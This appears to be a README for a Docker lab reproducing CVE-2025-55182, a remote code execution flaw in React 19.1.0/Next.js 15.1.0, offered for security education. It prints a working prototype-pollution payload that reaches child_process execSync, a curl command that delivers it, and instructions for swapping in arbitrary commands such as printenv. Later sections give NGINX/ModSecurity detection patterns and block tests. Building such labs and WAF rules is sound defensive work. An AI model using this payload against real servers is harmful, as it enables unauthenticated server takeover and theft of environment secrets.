Docker-based test lab for CVE-2025-55182 (React2Shell) RCE vulnerability in React 19.1.0/Next.js 15.1.0. Includes exploit scripts, WAF bypass testing with NGINX/ModSecurity, and patched version comparison for security education.
⚠️ Warning: Contains a working remote code execution (RCE) vulnerability.
Container test environment for the CVE-2025-55182 (React2Shell) vulnerability.
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
CVSS Score: 10.0 (CRITICAL)
Impact: Remote Code Execution (RCE)
Authentication Required: None
Attack Vector: Network
$1:__proto__:then$B prefix)child_process// Attack payload structure
{
"then": "$1:__proto__:then", // Contaminate Object.prototype.then
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Trigger Blob deserialization
"_response": {
"_prefix": "malicious_code", // Code to execute
"_formData": {
"get": "$1:constructor:constructor" // Access Function constructor
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
Wait until all containers are healthy (approximately 1-2 minutes).
Windows (PowerShell):
# Method 1: Use PowerShell script (recommended)
.\tests\exploit-working.ps1
# Method 2: Run Node.js directly
node tests\exploit-working.js
Check command execution results in server logs:
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ RecommendedWindows:
# PowerShell script (recommended)
.\tests\exploit-working.ps1
# Or run Node.js directly
node tests\exploit-working.js
Execution Details:
Commands Tested:
whoami - Current user (root)hostname - Container hostnamepwd - Working directory (/app)id - Full user informationuname -a - System informationnode --version - Node.js version# Create payload file
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# Send attack
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# Check log execution
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
Modify the attack script to execute desired commands:
// In exploit-working.js:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: 'Application directory listing' },
{ name: 'env', cmd: 'printenv', desc: 'Print environment variables' }
]
| Port | Service | React Version | Purpose | WAF Status |
|---|---|---|---|---|
| 3000 | vulnerable-app | 19.1.0 | Vulnerable - CVE-2025-55182 test | ❌ No protection |
| 3001 | patched-app | 19.1.2 | Safe - Patch validation | ✅ Patched |
| 8080 | nginx → vulnerable | 19.1.0 | WAF test (NGINX) | ⚠️ Limited (no body inspection) |
| 8081 | apache → vulnerable | 19.1.0 | WAF test (ModSecurity) | ⚠️ Limited (405 response) |
| 8082 | nginx → patched | 19.1.2 | Dual protection test | ✅ Patched |
# Run working exploit
node tests/exploit-working.js
# Expected result: Command execution successful
# Output: User information, system details, etc.
Windows (PowerShell):
# Use PowerShell script
.\tests\exploit-working.ps1 -Port 3001
Expected result: Attack fails (React 19.1.2 blocks the attack)
Windows (PowerShell):
# Attempt attack through NGINX WAF
.\tests\exploit-working.ps1 -Port 8080
Expected result: Blocked by WAF rules
Location: nginx/nginx.conf
Detection Patterns:
__proto__, constructor:constructor$X:__proto__, $B referenceschild_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructorBlocking Action:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
Location: apache/modsecurity-rules.conf
Rule ID Range: 100001-100017
Key Rules:
__proto__# NGINX block test
curl -X POST http://localhost:8080/ \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# Expected response: HTTP 403
# ModSecurity block test
curl -X POST http://localhost:8081/ \
-H "Next-Action: test#constructor" \
-d '{"data": "test"}'
# Expected response: HTTP 403
# NGINX security log
docker compose exec nginx tail -f /var/log/nginx/security.log